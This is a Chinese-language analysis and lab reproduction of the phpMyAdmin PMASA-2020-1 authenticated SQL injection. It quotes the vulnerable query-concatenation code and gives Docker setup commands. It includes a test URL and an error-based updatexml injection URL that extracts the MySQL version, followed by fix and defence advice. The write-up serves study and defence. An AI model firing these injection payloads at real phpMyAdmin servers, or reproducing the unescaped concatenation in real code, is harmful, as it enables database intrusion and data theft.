phpmyadmin PMASA-2020-1 漏洞分析与复现
字数 984 2025-08-26 22:11:51
phpMyAdmin PMASA-2020-1 SQL注入漏洞分析与复现指南
漏洞概述
phpMyAdmin在2020年1月修复了一个SQL注入漏洞(PMASA-2020-1),该漏洞存在于用户账户页面中。攻击者可以通过构造恶意请求注入自定义SQL语句,前提是攻击者必须拥有有效的MySQL账户才能利用此漏洞。
漏洞详情
漏洞位置
漏洞位于libraries/classes/Server/Privileges.php文件中,具体在getExtraDataForAjaxBehavior函数内:
if (isset($_GET['validate_username'])) {
$sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
. $_GET['username'] . "';";
// 省略 节省篇幅
}
漏洞触发条件
- 攻击者需要拥有有效的MySQL账户(能够登录phpMyAdmin)
- 需要设置
$_GET['validate_username']参数 - 需要设置
$_REQUEST['ajax_request']参数(用于通过Ajax检查)
环境搭建
使用Docker快速搭建测试环境:
# 启动MySQL 5.6容器
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
# 启动phpMyAdmin 5.0容器
docker run --name myadmin -d --link mysql5.6:db -p 8080:80 phpmyadmin/phpmyadmin:5.0
漏洞复现
基本验证POC
访问以下URL(需要先登录phpMyAdmin):
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22
预期返回结果应包含SQL错误信息,证明注入点存在。
利用漏洞获取信息
使用报错注入技术获取MySQL版本信息:
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
返回结果中应包含类似以下错误信息:
#1105 - XPATH syntax error: '~5.6.46~'
漏洞分析
-
漏洞入口:
$_GET['username']参数未经过滤直接拼接到SQL查询中 -
触发路径:
- 访问
server_privileges.php - 设置
ajax_request=true绕过Ajax检查 - 设置
validate_username=true进入漏洞代码段 - 通过
username参数注入恶意SQL
- 访问
-
利用限制:
- 需要有效的MySQL账户(已登录状态)
- 不需要CSRF token(但实际利用价值有限)
修复方案
官方修复方案是过滤或转义$_GET['username']参数。建议用户升级到最新版本的phpMyAdmin。
防御措施
- 及时更新phpMyAdmin到最新版本
- 对用户输入进行严格的过滤和转义
- 限制phpMyAdmin的访问权限,仅允许可信用户访问
- 使用Web应用防火墙(WAF)拦截SQL注入攻击
总结
PMASA-2020-1是一个典型的SQL注入漏洞,虽然需要认证后才能利用,但仍可能被恶意用户用来获取数据库敏感信息或执行其他恶意操作。开发人员应引以为戒,对所有用户输入进行严格验证和过滤。